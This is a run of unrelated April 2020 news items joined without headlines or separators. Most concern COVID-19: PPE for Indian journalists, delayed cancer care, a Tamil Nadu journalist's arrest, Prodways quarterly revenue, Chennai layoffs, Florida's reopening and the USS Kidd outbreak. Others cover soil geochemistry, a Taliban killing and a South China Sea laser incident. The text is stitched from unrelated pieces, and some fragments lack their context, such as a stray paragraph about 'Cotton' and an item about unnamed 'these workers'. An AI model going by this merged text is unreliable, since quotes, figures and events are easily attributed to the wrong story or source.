over on Tuesday. The PPE kits have been procured from the Khadi Gram Udyog. All-India Congress Committee (AICC) Secretary Devendra Yadav, who is also party in-charge for Rajasthan, has volunteered to provide the PPE kits. "After many journalists tested positive in Mumbai, I thought that mediapersons are creating awareness and risking their lives for the people. So we decided to distribute the kits so that they stay safe and protected," Yadav told IANS. He said mediapersons are corona warriors, so "we are duty bound to support them". The kit comprises the full gadget, including eye protection gear and boot cover. The Congress leader said that in his area in outer Delhi, he has approached the medical superintendent of the Jagajivan Ram Hospital, where 54 staff have tested positive, to provide the PPE kits. The total number of Covid-19 cases in the country mounted to 29,974 on Tuesday evening, with 1,594 cases and 51 deaths in the last 24 hours, the Union Health Ministry said. Of the total cases, 22,010 are active cases, 7,026 people have recovered, while 937 people have succumbed to the disease. Maharashtra remained the worst-hit state with the total number of cases rising to 8,590, followed by Gujarat which reported 3,548 cases and Delhi which has reported 3,108 cases so far, according to the Health Ministry data. With people fearing about visits to hospitals amid the coronavirus outbreak, delayed diagnosis of cancer and its stage migration could be a fallout of the current crisis, according to senior oncologists. While many medical treatments can be put off amid the COVID-19 crisis, "cancer does not wait", oncologists feel. Cancer treatment in times of coronavirus has been challenging as the pandemic is impacting both cancer diagnostics and treatment, with doctors having to balance risks versus benefits on a daily basis. Dr Bhawna Sirohi, director of Medical Oncology at Max Healthcare, said cancer is "not going to wait" and the threat from it is "now and real". "I feel patients, scared because of COVID-19, are not coming to hospitals and that is pushing them from early cancer to late stages," she told PTI. Sirohi urged patients not to be scared to come to hospitals and if they have a warning sign like a lump, they should not delay treatment. She said she recently had a patient who ignored symptoms for three weeks and delayed consulting a doctor, but was later detected with cancer. COVID-19 is here to stay and one just has to get used to the precautions and make it a new normal, she said. "Stage 1 and 2 (of cancer) can become 3 and 4, it can become incurable, if you don't act upon it," Sirohi said. Talking about cancer treatment in times of COVID-19, she said a balance has to be maintained between risks and benefits. "If the benefit is very small then one should avoid chemotherapy. But if you have a patient with lymphoma or blood cancer then the cure rates are very high, so you would want to go for the benefits," she said. Dr Akshay Tiwari, Associate Director and Head, Musculoskeletal Oncology, Max Healthcare, said as a bone cancer surgeon he is facing challenges at multiple levels. Patients are finding it very difficult to travel and even those who have the wherewithal to travel, are scared of coming to the hospital for the fear of contracting coronavirus, he said. This means that patients who should have been seeking treatment are not doing so and that would lead to stage migration of cancer, Tiwari said. "Some cases may even become incurable because of the delay. We are fearing this as patients are not coming to us. Similar fears have been voiced by cancer specialists across the world," he told PTI. The message should go to the public that cancer does not wait and it is even deadlier than COVID-19, the senior oncologist said. "Diagnosis may also be delayed and that is what is unfortunate. The message needs to go out that we should not ignore symptoms which are remotely linked to cancer for example a lump or swelling," he said. Dr. Rajender Kumar, Additional Director and Head of Oncology at Fortis Hospital, Shalimar Bagh, said the COVID-19 crisis is definitely posing a challenge to cancer treatment as many patients with malignancy in the head and neck area or having lung cancer have symptoms similar to COVID-19. "We are using all the precautions and the staff is using PPEs as cancer treatment is essential," he told PTI. Asked whether the COVID-19 pandemic can lead to delayed cancer diagnosis, Kumar said patients are coming to his hospital and their numbers have not decreased, but it is a possibility as most of the routine clinics and hospitals are shut down and people are not going to their doctors. "We don't have data on it, but it can happen," Kumar said. Dr. Niranjan Naik, Director - Breast & Gastro-intestinal (GI) Onco-Surgery, Fortis Memorial Research Institute, said the COVID-19 crisis is posing a challenge as patients with low immunity are at a higher risk of contracting the virus. He said the key aspect while making decisions is the cancer doubling time which is different for different cancers, with blood cancer being very aggressive as compared with breast cancer. "Whenever any symptoms emerge, one should get proper medical investigations done even in the present times as cancer will not wait," Naik told PTI. As the nation fights one of its biggest health battles against COVID-19 pandemic, there are many individual battles being fought by bravehearts, both doctors and patients, to emerge victorious against other life-threatening diseases. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) For once, Cotton may be right about an immigration-related problem: Its not ideal for U.S.-trained scientists to take their valuable knowledge outside the country. But the solution isnt to keep them out. Its to encourage them to stay in the United States after training and strengthen our economy, as immigrant scientists have done throughout U.S. history. D Andrew Sam Raja Pandian, the founder of SimpliCity, a bi-lingual news portal in Coimbatore, Tamil Nadu is in judicial custody for his reports that were critical of the governments handling of the Covid-19 pandemic. The International Federation of Journalists (IFJ) and its affiliates, the Indian Journalists Union (IJU) and National Union of Journalists (NUJ-I) condemn the arrest and call on his immediate release. D Andrew Sam Raja Pandian, 39, has been kept in jail following his arrest on April 23 despite growing criticism from the media fraternity and political opposition. He was arrested for two news stories entitled People stuck in hunger demand government to supply them food seamlessly or allow NGOs to serve them published on 14 April and 'Looting at ration shops during lockdown, govt's grant of Rs.1000 swindled, lament public' published on 18 April. His first report focussed on a protest by medical students and trainee doctors at the Coimbatore Medical College Hospital hostel over the scarcity of food at the hostel. The second story covered complaints from the residents of Coimbatore over the pilferage of shops during the lockdown. M Sundararajan, Assistant Commissioner, Personal Administration, Coimbatore Corporation Pandian filed the complaint accusing the journalist of violating the Epidemic Diseases Act and two sections of the penal code. Following his arrest, local journalists in Coimbatore staged a silent protest on April 24, demanding his immediate release. Prior to the arrest of the founder of SimplicCity, photographerM Balaji, and reporter Jerald Aruldass, both from the same news portal were detained on April 22. They were interrogated by the Coimbatore police, for more than seven hours and released on the condition that they would be present at the police station for an inquiry. National Union of Journalists (NUJ-I) said: We strongly condemn the arrest and assaults by police. We demand the central and state governments ensure the safety of journalists while discharging their professional duties. Indian Journalists Union (IJU) said: We strongly condemn the arrest as it is meant to silence the media from reporting the facts. The Tamil Nadu government must acknowledge that the media is doing its duty and the government must take action to improve the situation learning from such news- reports. The IJU demands the withdrawal of the charges and release of the journalist. IFJ said: The government should drop all the charges against SimpliCity founder and release him immediately. The spread of Covid-19 should not be used as an excuse to arrest journalists for their news reports. The opposition Zoram Peoples Movement (ZPM) asked the state government on Monday to deploy more police personnel along the inter-state and international borders so that volunteers of village task forces can be relieved from guarding the boundaries. In a statement, the ZPM said the state has eight armed police battalions, of which one is in neighbouring Assam. It said the remaining seven armed battalions should be deployed along the borders with Assam, Manipur, Tripura, Myanmar and Bangladesh and they should strictly follow the Centres guidelines while checking the movement of vehicles. The government should ask the Centre for deployment of security forces or paramilitary forces along the borders if the state police have manpower crunch, the statement signed by party president Lalliansawta said. Mizoram shares 284 km inter-state borders with Assam, Manipur and Tripura. It is also sandwiched between Myanmar and Bangladesh, sharing 722-km-long international borders with the two countries. ZPM said that volunteers of village or local level task forces, who are guarding the borders, should be relieved of the arduous task. Village or local level task forces are keeping vigil in at least 18 entry points along the Mizoram-Assam border and several entry points along the borders with Manipur, Tripura, Myanmar and Bangladesh. The state's main opposition party said all village or local-level task forces should instead be allowed to guard their respective villages or localities and must thoroughly be briefed about the standard operating procedure (SOP) framed by the state government to ensure uniform operation during the lockdown. The party also urged the people to understand the financial crisis being faced by the state government. It appealed to all concerned parents and families to send money to their children and relatives who are stranded in different parts of the country, instead of seeking help from the state government. Paris, 28 April 2020, at 6:00 pm (in millions) Q1 2020[1] Q1 2019 Change Systems 9.8 10.5 -6,3% Products 5.6 7.0 -19,6% Structure & disposals 0.0 (0.1) nm Consolidated revenue 15.5 17.4 -11.0% In first quarter 2020, consolidated revenue posted by Prodways Group amounted to 15.5 million, a decrease of 11.0% over first quarter 2019. In light of the COVID-19 pandemic, some of the Group's short-cycle activities, especially in the medical sector (dental, chiropody and audiology), have been affected by the lockdown measures implemented in the Group's countries of operation. This has had a direct impact on revenue for the quarter. The Systems division - which comprises 3D software, 3D printers and related materials and services - achieved revenue of 9.8 million in first quarter 2020, down 6.3%. Machines and Software activities posted a slowdown, partially offset by the excellent performance of the Materials activity, up 25%. This reflects the virtuous recurring revenue dynamic related to the increase in installed base of 3D printers dedicated to production applications. During the quarter, the Group was thus able to secure major industrial contracts in its liquid resin sales activity with two European dental specialists; these two companies alone are expected to use several dozens of tonnes of materials once their production cycles have stabilised. The Products division - comprising the design and manufacturing of on-demand parts and medical applications - posted revenue of 5.6 million in first quarter 2020, down 19.6% compared with a strong first quarter 2019. In medical activities (audiology, chiropody and dental), the sudden shutdown of our customers' activity as of mid-March, with the total closure of most practitioners' offices, has brought these businesses to a halt. As for parts production, although the health crisis has slowed down the activity, business continues and measures have been implemented to adapt production environment and ensure people safety. Rapid adaptation to the new environment Since the start of the crisis, Prodways Group has taken steps to reduce its costs and adjust its production facilities. On-site activities were quickly adapted in order to protect the health of our employees and a business continuity plan was implemented. In particular, the Group has implemented partial activity measures, where necessary, for nearly 50% of its employees in France and abroad. Prodways Group mobilised in the fight against COVID-19 In Europe and North America, the Prodways Group teams promptly joined forces in helping to support the fight against COVID-19 through 3D printing. To address the most urgent needs of medical professionals, Prodways made its professional 3D printers available, in partnership with its network of customers, to manufacture parts used in protective face shields. Some 10 customers have manufactured several thousands of face shields for healthcare workers. The Group has also provided its customers with the necessary 3D files to optimise production and the assembly method. 2020 outlook From the start of the crisis, we have taken all the necessary measures to best adapt to government recommendations and resume certain activities as soon as we have secured the necessary means and fulfilled employee safety conditions. The Group has a strong financial position with available cash and cash equivalents of 20 million as of 31 March 2020, strengthened by the 7.5 million drawdown on a confirmed credit facility. Activity has remained heavily disrupted in April and the Group expects a considerable impact on its second-quarter income statement, despite the first signs of a restart to business observed at the end of the month. In the medium term, the Group remains extremely confident of its outlook and potential, since most of its end markets (especially medical) are not expected to be structurally affected by the current crisis. Financial calendar 8 June 2020 Combined Shareholders' Meeting behind closed doors 28 July 2020 (after market closing) Q2 2020 revenue 16 September 2020 (after market closing) 2020 half-year results 28 October 2020 (after market closing) Q3 2020 revenue About Prodways Group Prodways Group is a specialist in industrial and professional 3D printing with a unique positioning as an integrated European player. The Group has developed right across the 3D printing value chain (software, machines, materials, parts & services) with a high value added technological industrial solution. Prodways Group offers a wide range of 3D printing systems and premium composite, hybrid and powder materials (SYSTEMS division). The company also manufactures and markets parts on demand, prototypes and small production run 3D printed items in plastic and metal (PRODUCTS division). The Group targets a significant number of sectors, from aeronautics to healthcare. Listed on Euronext Paris, the Group reported in 2019 revenue of 71.3 million. Prodways Group is a Groupe Gorge company. For further information: www.prodways-group.com Follow us and and keep up with Prodways Group's latest news on Twitter! @Prodways CONTACTS INVESTOR CONTACTS Elodie Robbe-Mouillot Analyst relations Tel: +33 (0)1 44 77 77 /investors@groupe-gorge.com Anne-Pauline Petureaux Investor relations Tel: +33 (0)1 53 67 36 94/apetureaux@actus.fr PRESS CONTACTS Manon Clairet Financial press relations Tel: +33 (0)1 53 67 36 73/mclairet@actus.fr DISCLAIMER Releases from the Prodways Group may contain forward-looking declarations with statements of objectives. These forward-looking statements reflect the current expectations of Prodways Group. Their realization, however, depends on known or unknown risks, uncertainties and other factors that may cause actual results, performance or events to differ significantly from those previously anticipated. The risks and uncertainties that might affect the Group's future ability to achieve its targets are reiterated and presented in detail in our Annual financial report on Prodways Group's website (www.prodways-group.com). This list of risks, uncertainties and other factors is not exhaustive. Other unanticipated, unknown or unpredictable factors may also have significant negative effects on the achievement of our objectives. The current release and the information contained therein do not constitute an offer to sell or to subscribe, nor a solicitation for an order to purchase or subscribe to shares in Prodways Group or in any subsidiaries thereof listed in whatsoever country. [1] Unaudited figures ------------------------ This publication embed "Actusnews SECURITY MASTER ". - SECURITY MASTER Key: nWlxkZpsZGydyGpxl8maaGNobmdmkmacbJfKxmVqY8ydbpyUlGZlbJ3KZm9klm1q - Check this key: https://www.security-master-key.com. ------------------------ Copyright Actusnews Wire Receive by email the next press releases of the company by registering on www.actusnews.com, it's free Full and original release in PDF format:https://www.actusnews.com/documents_communiques/ACTUS-0-63184-prodways-group_q1-2020-revenue.pdf Sahaya Novinston Lobo By Express News Service CHENNAI: While everyone is fighting their own battles during the lockdown, many people across the State have been laid off by their employers. Most of these companies are small scale service providers for foreign countries. S Amal Pullikan, a native of Kerala was working in a private company in Nungambakkam. His company deals with clients of an American insurance company. On March 21, Amal went home to Palakkad after the company announced that employees can work from home. Two weeks into lockdown, he no longer had the job. On April 13, we received an email stating that the company had decided to lay off 27 people with a one-week notice. The next day they sent a personal emails saying that the company is in financial depression and we were fired. They also said that the pending salary will be credited only after lockdown is over and normalcy returns, said Amal. The 29-year-old man worked in the company for two years and his marriage had been fixed at the end of May, which has been postponed to September. Now that he is without a job, the girls family is reconsidering the marriage proposal. Similarly, Vinay Kumar Manyala (name changed), a native of Telangana was working at an IT company in Royapettah. I stayed in Chennai after the lockdown was announced and was working from home. On April 2, I received an email stating that I and 15 others are expected to work only till May 2, he said. His mother, who is alone in his native town, does not know that he has lost his job. I cant tell my mother now as Im the only breadwinner of the family. Ill go home after the lockdown and let her know. Ive contacted many of my friends to apply for new jobs. But some of them have also lost jobs and the companies are not willing to recruit anytime soon, concluded Vinay. In the wake of the unprecedented COVID-19 outbreak, Rotary members across India have contributed Rs. 30 crores to support government in the fight against COVID-19. Rotary members are responding to the impact of the global COVID-19 crisis by providing comfort and hope to those feeling the effects of isolation and fear. These members are also focusing on supporting the health workers and first responders who are on the front lines of this disease. To date, 1.5 lakh Rotary members across 4,000 Rotary clubs in India have distributed 75,000 personal protective equipment (PPE) kits, more than one crore face masks, 6,50,000 packets of food, and grain, and more than 25 lakh meals to those in need across the country. In a press statement, Shekhar Mehta, president-nominee, Rotary International 2021-22, said, The COVID-19 pandemic response requires worldwide solidarity and an urgent global effort. Rotary clubs are working with local governments to provide food, medical equipment, sanitizers, masks, and other items as required. Rotary members aim to do their part to flatten the COVID-19 curve and support those who are most impacted in our communities. We all have a responsibility to help those who are struggling during this time of crisis. We need to work together so that we emerge out of this stronger. As eliminating polio worldwide is Rotarys top philanthropic goal, Rotary and its partners in the Global Polio Eradication Initiative will use the infrastructure they built to end polio in India including its tools, workforce, and extensive surveillance networks to help prevent the spread of COVID-19 by supporting preparedness and response activities. "I really value Rotary members contributions in our fight against COVID-19, Union Health Minister Dr. Harsh Vardhan, was quoted saying in the release. U.S. President Donald Trump listens to Florida Governor Ron DeSantis speak about the coronavirus response during a meeting in the Oval Office at the White House in Washington, U.S., April 28, 2020. President Donald Trump and Florida Gov. Ron DeSantis met Tuesday at the White House, just days before Florida's coronavirus stay-at-home order is set to expire. Speaking to reporters, Trump and DeSantis touted Florida's relatively low Covid-19 infection rate, compared to what many experts predicted for the state. "Everyone in the media was saying Florida was going to be like New York or Italy and that has not happened," DeSantis, a self-styled Trump Republican, told the press. DeSantis highlighted his efforts to concentrate testing in the state's most populous areas and those with the highest cases of Covid-19. "We understood that the outbreak was not uniform throughout the state, and we had a tailored and measured approach that not only helped our numbers be way below what anybody predicted, but also did less damage to our state going forward," said DeSantis. He also noted that he let construction continue throughout the stay-at-home order. The governor stressed that his state had prepared for much higher casualty and infection rates, but that so far, hospitals in Florida have not needed many of the emergency supplies the state procured. "I had less than 500 people, in a state of 22 million, on ventilators as of last night," said DeSantis. "I have 6,500 ventilators that are sitting idle, unused, throughout the state of Florida." Trump added that some of these ventilators could be donated to other countries with greater need for them than the United States. DeSantis, like Trump and many other governors, is looking ahead to "reopening" the areas of his state's economy that have been clobbered by the coronavirus. The Sunshine State will approach the reopening process in "baby steps," DeSantis said Monday, with different regions' rules being lifted more slowly. The White House's own social distancing rules, which provide non-binding guidance for states, are also set to be lifted by the start of May. But Trump said last week that he may extend the guidelines until early in the summer or later. The meeting was initially mired in confusion Tuesday after the White House announced the two men would hold a formal press conference, only to backtrack moments later and say the meeting would not include a press conference. The chaotic scheduling was the latest chapter in an ongoing White House effort to scale back Trump's media exposure after Republicans complained that the president's constant press coronavirus briefings were endangering the party's 2020 election prospects. As U.S. leaders at every level of government grapple with the coronavirus crisis, Trump has put a spotlight on himself by taking a starring role in the near-daily press briefings on the virus at the White House briefing room. But he took no questions at Friday's briefing, and the White House canceled the briefing scheduled for Monday evening suggesting a shift in how the White House delivers its messaging, which it has struggled to control amid the pandemic. "We are looking at different ways to showcase this president leading," McEnany said in a Fox News interview Monday. She added there will be coronavirus task force briefings this week. No briefing was scheduled Tuesday. FRONT PAGE An article on April 19 about life during the next year of the pandemic misidentified the source of an epidemiological model that estimated the United States would suffer 100,000 to 240,000 deaths during the coronavirus epidemic. The estimate was made by the White House, not the University of Washingtons Institute for Health Metrics and Evaluation. INTERNATIONAL An article on Monday about Yuri Dmitriev, who discovered a mass grave in Karelia from the Stalin era, misstated when a municipal court extended the detention of Mr. Dmitriev. It was late last month, not last week. An article on Friday about Syrian officers on trial in Germany misstated the timing of Anwar Raslans defection to the opposition. He defected less than two years into the Syrian war, not less than a year into the conflict. BUSINESS An article on Thursday about scammers taking advantage of the stimulus fund referred incorrectly to a figure given by Eva Velasquez of the Identity Theft Resource Center. Last month, the center experienced an 850 percent increase in total traffic, including calls, emails and website visits, and not in calls alone. An officer on board the USS Kidd, the navy ship with over a dozen sailors who have tested positive for coronavirus, has issued a defiant message to anyone who believes the outbreak has weakened the ship's crew. The Navy reports that the number of sailors aboard the USS Kidd confirmed to be infected with the novel coronavirus has nearly doubled, rising from 18 on Friday to 33. The Kidd is the second Navy ship at sea to report an outbreak of the coronavirus. Executive officer Cmdr. Matt Noland (pictured) wrote in a post to the ship's Facebook page: 'I am an optimist, but make no mistake. KIDD is in a fight right now, against COVID and against anyone out there who might want to capitalize on what they perceive as a weakness' More than a dozen sailors aboard the US Navy destroyer Kidd (pictured) tested positive for the coronavirus as then warship carried out a counter-narcotics mission, officials said on Friday, dealing another blow to the military as it grapples with the pandemic U.S. Navy sailors heave a line aboard the Arleigh Burke-class guided-missile destroyer USS Kidd during a replenishment-as-sea in the Pacific Ocean on January 27 (File image) Executive officer Cmdr. Matt Noland wrote in a post to the ship's Facebook page: 'I am an optimist, but make no mistake. KIDD is in a fight right now, against COVID and against anyone out there who might want to capitalize on what they perceive as a weakness.' He continued: 'Destroyers are tough ships that breed tough Sailors. Warfighters. We've got this.' The destroyer with its crew of 350 are off the Pacific coast of South America. Its current mission is related to U.S. counter-drug activities. In a statement issued Saturday, the Navy said an embarked medical team continues testing of the Kidd's crew. Two sailors have been medically evacuated to the United States. Meanwhile, officials say those aboard the Kidd are wearing N95 masks and other personal protective equipment. The aircraft carrier Theodore Roosevelt was in the Asia Pacific earlier this month when it had a coronavirus outbreak, forcing it to eventually dock in Guam. One sailor who was infected died, and nearly 850 out of the roughly 4,800 personnel on the carrier have tested positive The Navy says the amphibious assault ship USS Makin Island is en route to rendezvous with Kidd in case medical support is required at sea. Officials say the Makin Island has a fleet surgical team, intensive care capacity and ventilators as well as additional testing capability. The Kidd is the second Navy ship at sea to report an outbreak of the virus, after officials say the aircraft carrier USS Theodore Roosevelt has reported more than 850 cases of infection among its nearly 5,000 crew members. Most of its crew has been moved ashore to quarantine on Guam. One sailor who was infected has died. The Roosevelt's commander had called on Navy leadership to evacuate the vast majority of the crew and to disinfect the ship in a letter that leaked to the public, raising questions about the Trump administration's handling of the outbreak. The letter, which was obtained by a number of news outlets, set in motion a series of events that led to Captain Brett Crozier's firing and the resignation of acting Navy Secretary Thomas Modly. Top Navy officials Friday, after an investigation, called for the ousted Crozier to be reinstated. The chief of Naval Operations, Admiral Michael M. Gilday, and the acting Navy secretary, James McPherson, are pushing Defense Secretary Mark Esper to reinstate Crozier to his position after the probe. The Earth's surface represents a very complex system where a multitude of natural and man-made structures and terrains interact, including forests, water bodies, grasslands, farmlands, mines, and mountains. Over time, these interactions shape the natural habitat and resources that sustain life as we know it. The present distribution of materials on Earth's soils is the result of a long interplay of various driving forces, ranging from geological processes that started millions of years ago to recent mining activity. In view of the current worldwide environmental crisis, it is extremely important for researchers to understand the effect of natural physical, chemical and biological processes at the Earth's surface on distribution of chemical elements and--perhaps most importantly--the impact of human activity on this distribution. China is a vast country with complex and diverse landscapes and a great variety of natural resources and soils. Unfortunately, recent studies found that arable land in Southwest China contained unusually high (and potentially harmful) levels of heavy metals. Mining activity in the area was thought to be the reason for this. However, understanding the processes underlying the distribution of chemical elements in soils is complicated, and so is finding evidence pointing to human activity being the culprit of changes in this distribution. In a new study published in Earth Science Frontiers, a research team from the Chinese Academy of Geological Sciences and China Geological Survey, led by Dr Hangxin Cheng, performed a comprehensive analysis of a particular mountainous region in Southwest China. This region, depicted in the figure below and referred to by the researchers as the Zhaotong-Bijie-Yibin-Leshan-Luzhou area, is composed mainly of mountains and valleys, covered mostly by forests and farmlands. Most importantly, this region has seen intense mining activity for lead, zinc, and silver over centuries. Dr Cheng explains: "Research in this area can reveal the driving mechanisms behind changes in the content and macroscopic distribution of elements in soil, thereby providing scientific solutions for the rational exploitation and utilization of natural resources." In an effort to understand what phenomena are responsible for the present distribution of chemical elements, about 100 researchers and workers gathered more than 112,000 top- and deep-soil samples throughout the region and analyzed their chemical composition and acidity. Then, the scientists carried out a very detailed analysis to understand what factors and processes are responsible for the elements found in the soils. The analysis was performed based on the "epigenetic geochemical dynamics" theory, which encompasses modern human understanding of what causes changes in the composition of surface rocks after their formation. The processes and factors considered in this theory range from naturally occurring chemical reactions involving metallic ions to the solubility in water of various substances, as well as geological dynamics and the effects of weather, elevation, and human activities. The researchers highlighted four main findings that collectively provide an explanation for the observed distribution and state of chemical elements. First, the parent material, which is the geological material on top of which soil forms and accumulates on, largely dictates the distribution and state of chemical elements found in land resources. Second, epigenetic geochemical dynamic processes reshape the distribution patterns of these elements in the topmost layers of soil. Third, biogeochemical processes, which mostly involve organic material and its incorporation and distribution by living organisms, are responsible for driving the evolution of land quality. Finally (and as initially expected), strong human activities like mining disrupt the natural evolution of the distribution of chemical elements. This study gives researchers a better understanding of how the various dynamic processes in one particular region on the Earth's surface determine its distribution of chemical elements, which quite literally act as a base (soil) for the local ecosystems. "Further studies should be conducted to analyze a variety of landscapes, including forests and swampy landscapes, low mountains, and alpine lakes, to represent considerable advances in epigenetic geochemical dynamics and help us establish a foundation for the development of scientific theories of Earth's systems," states Dr Cheng. The results of this study could provide a scientific foundation for designing rational land-use management strategies, as well as food safety and health protection measures in Southwest China. ### About Earth Science Frontiers Earth Science Frontiers is a bimonthly peer reviewed scholarly journal co-sponsored by the China University of Geosciences (Beijing) and Peking University. It was first published in 1994, and academician Wang Chengshan is the current Editor-in-Chief. Each issue of the journal is centered on a specific geoscience topic and managed by experts in that field as Guest Editors. Each issue also contains a number of articles on self-select subjects. Articles published on Earth Science Frontiers cover all disciplines of earth sciences with emphasis on frontier and innovative basic research. At the same time, the journal also publishes research findings that may be considered contentious. Over the years, Earth Science Frontiers has won several publisher awards, including "The Internationally Most Influential Journal in Chinese Language" and "The Top 100 Outstanding Chinese Scholarly Journals." In 2019, Earth Science Frontiers was selected among top-tier journals to join a national action plan for achieving excellence in science and technology research publishing in China. E-mail: frontier@cugb.edu.cn Website: http://www.earthsciencefrontiers.net.cn About Dr Hangxin Cheng Dr Hangxin Cheng is a chief expert of the Land Quality Geochemical Survey Project. He is currently a scientist at the Chinese Academy of Geological Sciences and China Geological Survey. The corresponding author of this paper, he has over 60 research publications in the fields of explorative geochemistry, ecological geochemistry, and epigenetic geochemistry, which are his main fields of interest. TOLOnews.com (Translated by RAWA), April 10, 2020 Abdul Wahid Walizada, spokesperson of Herat police said that these workers were abducted and eventually killed by the Taliban in the Ahmadabad village of Kohsan district when they were coming back to Herat city from Islam Qala. Mr. Walizada added that these workers had left for the city without informing the police. Tariq Aryan, spokesperson for the Ministry of Interior Affairs, confirmed the incident in a tweet stating that the men were killed by Taliban. The Taliban havent said anything yet. Lucia Cristinoiu is a Romanian-born pediatrician who immigrated to the US, learned English, and rose to the top of her profession, earning a listing in Consumers Research Council of Americas top pediatricians each year between 2004 and 2009. She has published her new book The Grape Picker: a candid reflection on her medical career and a memorable case of misdiagnosis with potentially devastating ramifications. The author shares, The story with the title The Grape Picker was the main reason that I wrote this book. It is the story of an accidental trauma of a small child, misdiagnosed as child abuse. Witnessing the painful experience that the childs parents had to go through (the accident itself, the accusations against them, ACS involvement with subsequent placement of the child in foster care, the need to go in court), I came out with some conclusions. The doctors that are dealing with situations like that must have certain qualities: they have to be less opinionated, more flexible, on top of being very knowledgeable. If they remember the Hippocratic Oath, it will also be very helpful (particularly the part of not to be ashamed when you dont know how to solve a case and call for other colleagues help when their skills are needed). It also affected me very much because the child was my patient. My hope is that mistakes like the one described in my story will not happen anymore. For me, practicing pediatrics was like a bonus to my life. Working in this field has been interesting, challenging, and rewarding. It is occasionally sad, but more often, there were funny moments as this one. One day, a two-year-old boy needed to receive a vaccine. To distract him, I started to ask him questions: what his name was (Michael), his mothers name (Mama), his fathers name (Mama calls him John), and my name (no answer). In the meantime, I had already administered the vaccine without him realizing it. Two days later, coming back to pick up a medical form, the moment he entered the office, he started to spell my entire name correctly and said it out loud. And then he added, No shots! Can you not laugh? He was only two years and two months old. Published by Page Publishing, Lucia Cristinoius engrossing book is a doctors fascinating journey from a Romanian village to a new life and career in the United States. Readers who wish to experience this engaging work can purchaseThe Grape Picker at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Nicola Sturgeon broke ranks with Boris Johnson again today by declaring that Scots should wear face coverings on public transport and in shops. The Scottish First Minister said she was now advising people to use makeshift masks - although she stressed that medical-grade coverings should be left for health workers. The move came despite the PM having yet to make any announcement on whether the items should be used in enclosed spaces. It is the latest sign of splits in the UK position - after Ms Sturgeon previously issued a 'framework' for easing lockdown despite Westminster refusing to give any details. Scottish First Minister Nicola Sturgeon said she was now advising people to use makeshift masks - although she stressed that medical-grade coverings should be left for health workers Masks have become a common sight in cities across the UK. Picture is London this morning Ms Sturgeon told the media briefing in Edinburgh today: 'We are recommending that you do wear a cloth face covering if you are in an enclosed space with others where social distancing is difficult, for example public transport or in a shop.' She insisted there was no need to wear masks routinely outside, except in 'unavoidable crowded situations'. She said face coverings were 'not a substitute' for hand hygiene and other advice on reducing the risk of spread. A Downing Street spokesman made clear there is no immediate announcement expected in London. 'Sage's recommendation has been sent to ministers who are considering the advice they have been given. Once a decision has been reached we will announce it publicly,' the PM's spokesman said. Ms Sturgeon responded angrily on Twitter to claims she was trying to 'embarrass' Mr Johnson by announcing the guidance first. 'I'm just trying to do my job - as every other government is. This tendency to read malign motives when all any of us is trying to do is tackle the virus as best we can, is tedious and misplaced,' she said. Welsh health minister Vaughan Gething also dismissed calls to issue guidance on face coverings immediately. 'If we do give formal guidance that people should wear a covering over their face, we need to understand what that means about the way the public will then behave,' he said, 'We also need to be particularly cognisant of the potential for people trying to acquire masks that would otherwise be used by health and care professionals. The new policy from Ms Sturgeon appears to contradict earlier advice from Scotland's national clinical director. Professor Jason Leitch, who said on April 3: 'The global evidence - and we've looked properly, I promise you - is that masks in the general population don't work. 'People don't wear them properly, they're hard, they're difficult, they're uncomfortable.' Ms Sturgeon said the new guidance is related to 'face coverings made of cloth or other textiles, such as a scarf' and not medical-grade masks. She said: 'The guidance we are publishing today firstly makes clear the most important step we can all take to prevent transmission of the virus is to comply with the current stay at home social distancing and hygiene rules.' The move came despite Boris Johnson (pictured in Downing Street today) having yet to make any announcement on whether the items should be used in enclosed spaces The First Minister said face coverings are 'not a substitute for that', adding the evidence on their use is 'still limited'. But she said the guidance 'recognises there maybe some benefit in wearing a face covering if you leave the house and enter an enclosed space where you will come into contact with multiple people and safe social distancing is difficult, for example on public transport or in shops'. With most shops closed at the moment, Ms Sturgeon said this will apply 'in particular' to food shops. 'To be clear, the benefit comes mainly in cases where someone might have the virus but isn't aware of that because they are not experiencing any symptoms,' she said. 'Wearing a face covering in these circumstances may reduce the chance of that person transmitting the virus on to others. 'So the Scottish Government is now recommending the use of face coverings in these limited circumstances, as a precautionary measure'. She said because the evidence is 'at this stage relatively weak' it is not mandatory to do so. The U.S. warship USS Bunker Hill moves into position to conduct a joint training with the Australian frigate HMAS Parramatta in the South China Sea, April 14, 2020. The Philippines defense chief on Tuesday downplayed Beijings latest aggressive move in the South China Sea, saying it appeared that Chinese sailors had no real intention of hurting Filipinos when they pointed a laser gun at a Philippine navy ship. Although the Chinese move was seen as aggressive, it likely was meant to enforce their presence in the disputed sea region, which is claimed by China, the Philippines and other countries, Defense Secretary Delfin Lorenzana said. I dont think they have an intention to harm our men with this latest incident of pointing a laser gun, Lorenzana said on state-run television. Maybe they are testing what our reaction will be. And we have already filed a protest to the Chinese government. But its offensive. Why do they need to aim their target acquisition radars on our airplanes and ships? he said. According to Lorenzana, the Chinese were challenging the Philippine ship by saying You are traversing Chinese territory. But our ships and airplanes say: We are traveling within our EEZ or within Philippine territory, so its only an exchange of messages, the defense secretary added, referring to waters in Manilas exclusive economic zone. Lorenzana issued the statement several days after the Philippine foreign office said it had filed a diplomatic protest with China for pointing a radar gun at a Philippine Navy ship in the EEZ. Manila took that action on April 22, the same day it filed a separate diplomatic note to protest Beijings declaration of parts of the disputed sea as Chinese districts. In the incident with the laser gun, the Philippine ship BRP Conrado Yap was on its way to the Rizal Reef Detachment in the South China Sea when it reported that it had detected a radar contact of a gray-colored vessel. Lorenzana said the Chinese had used a target-acquisition laser meant to guide a missile toward an enemy target. Its like when they will use their missile they will first strike on the target that they have already marked, Lorenzana said. The incident was the latest accusation that Chinese forces had used lasers to harass other nations naval personnel. In February this year, the U.S. Navy accused a Chinese naval destroyer of firing off a laser beam at a U.S. surveillance aircraft flying west of Guam and over the Philippine Sea, which lies far to the north and east of the South China Sea. A statement from U.S. Pacific Fleet said the laser, which was detected by sensors on the P-8A Poseidon aircraft on Feb. 17, was not visible to the naked eye. The 